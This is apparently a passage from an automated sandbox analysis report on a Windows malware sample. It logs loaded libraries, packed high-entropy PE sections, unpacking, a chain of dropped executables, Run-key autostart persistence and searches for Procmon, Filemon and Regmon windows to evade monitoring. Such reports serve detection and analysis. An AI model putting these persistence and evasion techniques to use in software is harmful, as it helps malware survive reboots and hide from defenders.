Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll

Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 3008000 > 1048576

Source: file.exe

Static PE information: Raw size of qawnjwpo is bigger than: 0x100000 < 0x2b2e00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Unpacked PE file: 10.2.K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe.ce0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;juonirvb:EW;iownkumr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;juonirvb:EW;iownkumr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 11.2.skotes.exe.8c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;juonirvb:EW;iownkumr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;juonirvb:EW;iownkumr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 12.2.skotes.exe.8c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;juonirvb:EW;iownkumr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;juonirvb:EW;iownkumr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Unpacked PE file: 14.2.JSB9K8LR5IJBR9A62C6KA1RW.exe.ba0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;seldsqgz:EW;ogrbyegi:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;seldsqgz:EW;ogrbyegi:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Unpacked PE file: 19.2.K2GPLQXM988TEBRN5R.exe.270000.0.unpack :EW;.rsrc:W;.idata :W;itjqivob:EW;lqldnesx:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Unpacked PE file: 21.2.ea19c894e7.exe.f10000.0.unpack :EW;.rsrc :W;.idata :W; :EW;seldsqgz:EW;ogrbyegi:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;seldsqgz:EW;ogrbyegi:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Unpacked PE file: 43.2.GQIHH842FUSCNH01PBIJ.exe.170000.0.unpack :EW;.rsrc:W;.idata :W; :EW;juonirvb:EW;iownkumr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;juonirvb:EW;iownkumr:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: JSB9K8LR5IJBR9A62C6KA1RW.exe.6.dr	Static PE information: real checksum: 0x1cc620 should be: 0x1d0d5f
Source: num[1].exe.18.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a
Source: K2GPLQXM988TEBRN5R.exe.6.dr	Static PE information: real checksum: 0x2bde5e should be: 0x2b599c
Source: skotes.exe.10.dr	Static PE information: real checksum: 0x1d2317 should be: 0x1da25c
Source: num.exe.18.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a
Source: UYC74GB6WBXMLVLE5D9EEPR.exe.20.dr	Static PE information: real checksum: 0x2bde5e should be: 0x2b599c
Source: random[1].exe0.18.dr	Static PE information: real checksum: 0x1cc620 should be: 0x1d0d5f
Source: D7GI4LGVF8ASO12V3.exe.20.dr	Static PE information: real checksum: 0x1cc620 should be: 0x1d0d5f
Source: K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe.6.dr	Static PE information: real checksum: 0x1d2317 should be: 0x1da25c
Source: random[1].exe.18.dr	Static PE information: real checksum: 0x2ee1b7 should be: 0x2e5243
Source: ea19c894e7.exe.18.dr	Static PE information: real checksum: 0x1cc620 should be: 0x1d0d5f
Source: file.exe	Static PE information: real checksum: 0x2ee1b7 should be: 0x2e5243
Source: df757a3a2c.exe.18.dr	Static PE information: real checksum: 0x2ee1b7 should be: 0x2e5243
Source: GQIHH842FUSCNH01PBIJ.exe.20.dr	Static PE information: real checksum: 0x1d2317 should be: 0x1da25c

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: qawnjwpo
Source: file.exe	Static PE information: section name: ogiigyxs
Source: file.exe	Static PE information: section name: .taggant
Source: JSB9K8LR5IJBR9A62C6KA1RW.exe.6.dr	Static PE information: section name:
Source: JSB9K8LR5IJBR9A62C6KA1RW.exe.6.dr	Static PE information: section name: .rsrc
Source: JSB9K8LR5IJBR9A62C6KA1RW.exe.6.dr	Static PE information: section name: .idata
Source: JSB9K8LR5IJBR9A62C6KA1RW.exe.6.dr	Static PE information: section name:
Source: JSB9K8LR5IJBR9A62C6KA1RW.exe.6.dr	Static PE information: section name: seldsqgz
Source: JSB9K8LR5IJBR9A62C6KA1RW.exe.6.dr	Static PE information: section name: ogrbyegi
Source: JSB9K8LR5IJBR9A62C6KA1RW.exe.6.dr	Static PE information: section name: .taggant
Source: K2GPLQXM988TEBRN5R.exe.6.dr	Static PE information: section name:
Source: K2GPLQXM988TEBRN5R.exe.6.dr	Static PE information: section name: .idata
Source: K2GPLQXM988TEBRN5R.exe.6.dr	Static PE information: section name: itjqivob
Source: K2GPLQXM988TEBRN5R.exe.6.dr	Static PE information: section name: lqldnesx
Source: K2GPLQXM988TEBRN5R.exe.6.dr	Static PE information: section name: .taggant
Source: K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe.6.dr	Static PE information: section name:
Source: K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe.6.dr	Static PE information: section name: .idata
Source: K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe.6.dr	Static PE information: section name:
Source: K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe.6.dr	Static PE information: section name: juonirvb
Source: K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe.6.dr	Static PE information: section name: iownkumr
Source: K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe.6.dr	Static PE information: section name: .taggant
Source: skotes.exe.10.dr	Static PE information: section name:
Source: skotes.exe.10.dr	Static PE information: section name: .idata
Source: skotes.exe.10.dr	Static PE information: section name:
Source: skotes.exe.10.dr	Static PE information: section name: juonirvb
Source: skotes.exe.10.dr	Static PE information: section name: iownkumr
Source: skotes.exe.10.dr	Static PE information: section name: .taggant
Source: random[1].exe.18.dr	Static PE information: section name:
Source: random[1].exe.18.dr	Static PE information: section name: .rsrc
Source: random[1].exe.18.dr	Static PE information: section name: .idata
Source: random[1].exe.18.dr	Static PE information: section name: qawnjwpo
Source: random[1].exe.18.dr	Static PE information: section name: ogiigyxs
Source: random[1].exe.18.dr	Static PE information: section name: .taggant
Source: df757a3a2c.exe.18.dr	Static PE information: section name:
Source: df757a3a2c.exe.18.dr	Static PE information: section name: .rsrc
Source: df757a3a2c.exe.18.dr	Static PE information: section name: .idata
Source: df757a3a2c.exe.18.dr	Static PE information: section name: qawnjwpo
Source: df757a3a2c.exe.18.dr	Static PE information: section name: ogiigyxs
Source: df757a3a2c.exe.18.dr	Static PE information: section name: .taggant
Source: random[1].exe0.18.dr	Static PE information: section name:
Source: random[1].exe0.18.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.18.dr	Static PE information: section name: .idata
Source: random[1].exe0.18.dr	Static PE information: section name:
Source: random[1].exe0.18.dr	Static PE information: section name: seldsqgz
Source: random[1].exe0.18.dr	Static PE information: section name: ogrbyegi
Source: random[1].exe0.18.dr	Static PE information: section name: .taggant
Source: ea19c894e7.exe.18.dr	Static PE information: section name:
Source: ea19c894e7.exe.18.dr	Static PE information: section name: .rsrc
Source: ea19c894e7.exe.18.dr	Static PE information: section name: .idata
Source: ea19c894e7.exe.18.dr	Static PE information: section name:
Source: ea19c894e7.exe.18.dr	Static PE information: section name: seldsqgz
Source: ea19c894e7.exe.18.dr	Static PE information: section name: ogrbyegi
Source: ea19c894e7.exe.18.dr	Static PE information: section name: .taggant
Source: GQIHH842FUSCNH01PBIJ.exe.20.dr	Static PE information: section name:
Source: GQIHH842FUSCNH01PBIJ.exe.20.dr	Static PE information: section name: .idata
Source: GQIHH842FUSCNH01PBIJ.exe.20.dr	Static PE information: section name:
Source: GQIHH842FUSCNH01PBIJ.exe.20.dr	Static PE information: section name: juonirvb
Source: GQIHH842FUSCNH01PBIJ.exe.20.dr	Static PE information: section name: iownkumr
Source: GQIHH842FUSCNH01PBIJ.exe.20.dr	Static PE information: section name: .taggant
Source: D7GI4LGVF8ASO12V3.exe.20.dr	Static PE information: section name:
Source: D7GI4LGVF8ASO12V3.exe.20.dr	Static PE information: section name: .rsrc
Source: D7GI4LGVF8ASO12V3.exe.20.dr	Static PE information: section name: .idata
Source: D7GI4LGVF8ASO12V3.exe.20.dr	Static PE information: section name:
Source: D7GI4LGVF8ASO12V3.exe.20.dr	Static PE information: section name: seldsqgz
Source: D7GI4LGVF8ASO12V3.exe.20.dr	Static PE information: section name: ogrbyegi
Source: D7GI4LGVF8ASO12V3.exe.20.dr	Static PE information: section name: .taggant
Source: UYC74GB6WBXMLVLE5D9EEPR.exe.20.dr	Static PE information: section name:
Source: UYC74GB6WBXMLVLE5D9EEPR.exe.20.dr	Static PE information: section name: .idata
Source: UYC74GB6WBXMLVLE5D9EEPR.exe.20.dr	Static PE information: section name: itjqivob
Source: UYC74GB6WBXMLVLE5D9EEPR.exe.20.dr	Static PE information: section name: lqldnesx
Source: UYC74GB6WBXMLVLE5D9EEPR.exe.20.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 6_3_0574934E push ebp; ret	6_3_05749377
Source: C:\Users\user\Desktop\file.exe	Code function: 6_3_0574934E push ebp; ret	6_3_05749377
Source: C:\Users\user\Desktop\file.exe	Code function: 6_3_0574934E push ebp; ret	6_3_05749377
Source: C:\Users\user\Desktop\file.exe	Code function: 6_3_01039699 push ss; ret	6_3_010396A6
Source: C:\Users\user\Desktop\file.exe	Code function: 6_3_01039699 push ss; ret	6_3_010396A6
Source: C:\Users\user\Desktop\file.exe	Code function: 6_3_01039699 push ss; ret	6_3_010396A6
Source: C:\Users\user\Desktop\file.exe	Code function: 6_3_0103E139 pushad ; ret	6_3_0103E149
Source: C:\Users\user\Desktop\file.exe	Code function: 6_3_010374CE push esp; retf	6_3_010374CF
Source: C:\Users\user\Desktop\file.exe	Code function: 6_3_010374CE push esp; retf	6_3_010374CF
Source: C:\Users\user\Desktop\file.exe	Code function: 6_3_010374CE push esp; retf	6_3_010374CF
Source: C:\Users\user\Desktop\file.exe	Code function: 6_3_01026A02 push ss; iretd	6_3_01026A39
Source: C:\Users\user\Desktop\file.exe	Code function: 6_3_0102CF18 pushad ; iretd	6_3_0102CF19
Source: C:\Users\user\Desktop\file.exe	Code function: 6_3_0102CF18 pushad ; iretd	6_3_0102CF19
Source: C:\Users\user\Desktop\file.exe	Code function: 6_3_0102CF18 pushad ; iretd	6_3_0102CF19
Source: C:\Users\user\Desktop\file.exe	Code function: 6_3_0102CF18 pushad ; iretd	6_3_0102CF19
Source: C:\Users\user\Desktop\file.exe	Code function: 6_3_0102CF18 pushad ; iretd	6_3_0102CF19
Source: C:\Users\user\Desktop\file.exe	Code function: 6_3_01028640 pushad ; iretd	6_3_01028641
Source: C:\Users\user\Desktop\file.exe	Code function: 6_3_0102CCC0 pushad ; iretd	6_3_0102CCC1
Source: C:\Users\user\Desktop\file.exe	Code function: 6_3_0102CCC0 pushad ; iretd	6_3_0102CCC1
Source: C:\Users\user\Desktop\file.exe	Code function: 6_3_0102CCC0 pushad ; iretd	6_3_0102CCC1
Source: C:\Users\user\Desktop\file.exe	Code function: 6_3_0102CCC0 pushad ; iretd	6_3_0102CCC1
Source: C:\Users\user\Desktop\file.exe	Code function: 6_3_0102CCC0 pushad ; iretd	6_3_0102CCC1
Source: C:\Users\user\Desktop\file.exe	Code function: 6_3_010267D7 push eax; iretd	6_3_01026809
Source: C:\Users\user\Desktop\file.exe	Code function: 6_3_0102CD68 pushad ; iretd	6_3_0102CD69
Source: C:\Users\user\Desktop\file.exe	Code function: 6_3_0102CD68 pushad ; iretd	6_3_0102CD69
Source: C:\Users\user\Desktop\file.exe	Code function: 6_3_0102CD68 pushad ; iretd	6_3_0102CD69
Source: C:\Users\user\Desktop\file.exe	Code function: 6_3_0102CD68 pushad ; iretd	6_3_0102CD69
Source: C:\Users\user\Desktop\file.exe	Code function: 6_3_0102CD68 pushad ; iretd	6_3_0102CD69
Source: C:\Users\user\Desktop\file.exe	Code function: 6_3_0102CF78 pushad ; iretd	6_3_0102CF79
Source: C:\Users\user\Desktop\file.exe	Code function: 6_3_0102CF78 pushad ; iretd	6_3_0102CF79
Source: C:\Users\user\Desktop\file.exe	Code function: 6_3_0102CF78 pushad ; iretd	6_3_0102CF79

Source: file.exe	Static PE information: section name: entropy: 7.976206219598995
Source: JSB9K8LR5IJBR9A62C6KA1RW.exe.6.dr	Static PE information: section name: seldsqgz entropy: 7.953063323630895
Source: K2GPLQXM988TEBRN5R.exe.6.dr	Static PE information: section name: entropy: 7.7699739532040875
Source: K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe.6.dr	Static PE information: section name: entropy: 7.983446188480813
Source: K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe.6.dr	Static PE information: section name: juonirvb entropy: 7.953909051060593
Source: skotes.exe.10.dr	Static PE information: section name: entropy: 7.983446188480813
Source: skotes.exe.10.dr	Static PE information: section name: juonirvb entropy: 7.953909051060593
Source: random[1].exe.18.dr	Static PE information: section name: entropy: 7.976206219598995
Source: df757a3a2c.exe.18.dr	Static PE information: section name: entropy: 7.976206219598995
Source: random[1].exe0.18.dr	Static PE information: section name: seldsqgz entropy: 7.953063323630895
Source: ea19c894e7.exe.18.dr	Static PE information: section name: seldsqgz entropy: 7.953063323630895
Source: GQIHH842FUSCNH01PBIJ.exe.20.dr	Static PE information: section name: entropy: 7.983446188480813
Source: GQIHH842FUSCNH01PBIJ.exe.20.dr	Static PE information: section name: juonirvb entropy: 7.953909051060593
Source: D7GI4LGVF8ASO12V3.exe.20.dr	Static PE information: section name: seldsqgz entropy: 7.953063323630895
Source: UYC74GB6WBXMLVLE5D9EEPR.exe.20.dr	Static PE information: section name: entropy: 7.7699739532040875

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File created: C:\Users\user\AppData\Local\Temp\D7GI4LGVF8ASO12V3.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001636001\num.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File created: C:\Users\user\AppData\Local\Temp\UYC74GB6WBXMLVLE5D9EEPR.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File created: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ea19c894e7.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run df757a3a2c.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 582b1c6d88.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS
